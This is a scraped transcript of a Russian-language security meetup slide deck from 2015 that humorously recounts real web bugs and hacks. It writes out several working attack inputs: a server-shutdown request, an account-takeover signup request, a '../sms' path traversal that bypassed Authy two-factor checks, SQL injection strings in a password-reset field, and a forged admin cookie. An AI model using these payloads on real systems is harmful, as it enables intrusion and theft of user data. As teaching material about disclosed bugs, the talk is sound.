Дмитрий bo0om Бумов, security meetup 9 апреля, mail.ru group

34
learnppt.com LOGO Ты такой смешной!!!1!))00) Весёлые (и не очень) баги и взломы 9 апреля 2015 #securitymeetup

Upload: mailrugroup

Post on 23-Jul-2015

955 views

Category:

Software


2 download

TRANSCRIPT

Page 1: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

learnppt.com

LOGO

Ты такой смешной!!!1!))00)Весёлые (и не очень) баги и взломы

9 апреля 2015

#securitymeetup

Page 2: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

ПРЕДУПРЕЖДЕНИЕ!

Последующие слайды содержат сценысексуального насилия над web-приложениямии програмным обеспечением различной тематики и направленности.Копирование и воспроизведение векторов атаккарается 272 статьей Уголовного кодексаРоссийской Федерации, хотя такие экземплярыещё и найти надо, так что можете попробовать,но если что, я вас предупреждал! Ну вы поняли...

Page 3: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

3Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

Время интересных

ИСТОРИЙ#securitymeetup

Page 4: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

4Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

Page 5: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

5Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

GET /shutdown/ HTTP/1.1

Host: up-fotki.yandex.ru

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:28.0) Gecko/20100101 Firefox/28.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://fotki.yandex.ru/upload?force=js

Cервак выключается...

https://up-fotki.yandex.ru/shutdown/

@isox_xx

#securitymeetup

Page 6: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

6Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

Page 7: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

7Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

Page 8: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

8Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@isox_xx

#securitymeetup

Page 9: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

9Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@webpentest

POST /signup/claim/id*/ HTTP/1.1

...

CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&[email protected]&password=test&login=MyLogin

POST /signup/claim/WMkiheTT-8kRslImVLWMVw/ HTTP/1.1

...

CSRF=bLJtKc0uLGGWoBkKhNMJCXGt0mhlhHiw&[email protected]&password=test&login=Administrator

Регистрация курильщика:

Регистрация здорового человека:

*Где id - уникальный идентификатор, который берётся... На странице существующего пользователя

#securitymeetup

Page 10: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

10Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@webpentest

Уже существует пользователь? Не беда!

В итоге перекидывает в админку сервиса с "свежереганным" логином.

#securitymeetup

Page 11: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

11Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@4rt3m

#securitymeetup

Page 12: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

12Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@4rt3m

#securitymeetup

Page 13: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

13Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Page 14: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

14Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@fb1h2s @msecnet

#securitymeetup

Page 15: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

15Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@homakov

#securitymeetup

Page 16: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

16Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@homakov

1. Вводим ../sms в поле токена

2. Клиент кодирует это как ..%2fsms и делает запрос на api.authy.com/protected/json/verify/..%2fsms/authy_id

3. path_traversal декодирует полученный URL на раннем этапе в api.authy.com/protected/json/verify/../sms/authy_id, делит все по / и удаляет директорию /verify

4. Теперь само приложение получает модифицированный путь api.authy.com/protected/json/sms/authy_id который посылает СМС жертве и возвращает 200 статус и ответом {«success»:true,«message»:«SMS token was sent»,«cellphone»:"+1-XXX-XXX-XX85"}

5. Наш клиент который хотел проверить наш токен видит 200 статус и делает выводчто токен правильный. Даже если используется кастомная реализация API, клиентскорее всего ищет success=true что в нашем ответе тоже присутствует.

Попросту говоря введя ../sms в поле токена можно было обойти двух факторную аутенфикацию на всех сайтах использующих Authy.

#securitymeetup

Page 17: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

17Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Page 18: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

18Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Page 19: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

19Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@fgkm_

Когда имя пользователя в url

#securitymeetup

Page 20: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

20Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@Black2Fan

RCE В ФОРМИРОВАНИИ CSS ФАЙЛА!!!!!11!!!!!адин!!

#securitymeetup

Page 21: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

21Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

Root, пароль дляслабаков!

#securitymeetup

Page 22: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

22Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@d90andrew

Восстановление пароля.Поле для email'а:[email protected]' and 'a'='a# - письмо приходит[email protected]' and 'a'='b# - не отправляется

[email protected]' union select 1,2,3,4,5,6#

#securitymeetup

Page 23: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

23Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@d90andrew

[email protected]' union select 1,2,3,concat_ws(0x3a,version(),database()),5,6#

#securitymeetup

Page 24: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

24Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@d90andrew

Пара часов и база пользователей в кармане!Точнее в почте...

#securitymeetup

Page 25: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

25Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Page 26: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

26Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

ЧОЭТА?#securitymeetup

Page 27: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

27Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO@asintsov

Привет, сервак, как жизнь? Как дети? Форкаешься еще?

Если ты ADMIN, то хэш твоего пароля XXXXXXX!Ты уверен, что у твоего пароля такой хэш?

Ну ты скажешь! Конечно! У меня такой же хэш и получился!Админ я или кто, по-твоему!

Ну раз Админ, то проходи!

Ну привет, клиентик. Ты сам-то чьих будешь?

Ну как же это? Админ я, Админ!

Соединение установлено. Текущий пользователь: ADMIN

Самая крутая СУБД в мире - OpenEdge

#securitymeetup

Page 28: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

28Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

ЧТОЧТО ЗАЗАхерняхерня туттут

ПРОИСХОДИТ??ПРОИСХОДИТ??

#securitymeetup

Page 29: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

29Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

Были подобраны файлы и папки:

• /image/• /css/• /js/• /index.php• /login.php• /logout.php

#securitymeetup

Page 30: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

30Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

GET /logout.php HTTP/1.1

Host: *******.ru

HTTP/1.1 200 Ok

Server: nginx

Date: Dec, 29 Apr 1970 13:14:41 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Connection: close

Cache-Control: no-cache,no-store,max-age=0,must-revalidate

Set-Cookie: 7ed93bc3576665339e899f356890fa5e=false; Path=/

Запрос:

Ответ:

#securitymeetup

Page 31: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

31Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

GET /index.php HTTP/1.1

Host: *******.ru

Cookie: 7ed93bc3576665339e899f356890fa5e=true

Запрос:

Добро пожаловать в панель администратора!

ииииииииии...

#securitymeetup

Page 32: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

32Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGOА бывает наоборот...

#securitymeetup

Page 33: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

33Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

Bo0oM@i_bo0om

Пишу лучше чем говорю(инфа сотка)

Page 34: Дмитрий Bo0oM Бумов, Security Meetup 9 апреля, Mail.Ru Group

34Questions & feedback? Email me – [email protected] PowerPoint resources and downloads available at learnppt.com.learnppt.com

LOGO

#securitymeetup

СДАЛСДАЛ

ИГЭИГЭ??http://goo.gl/TxxCi3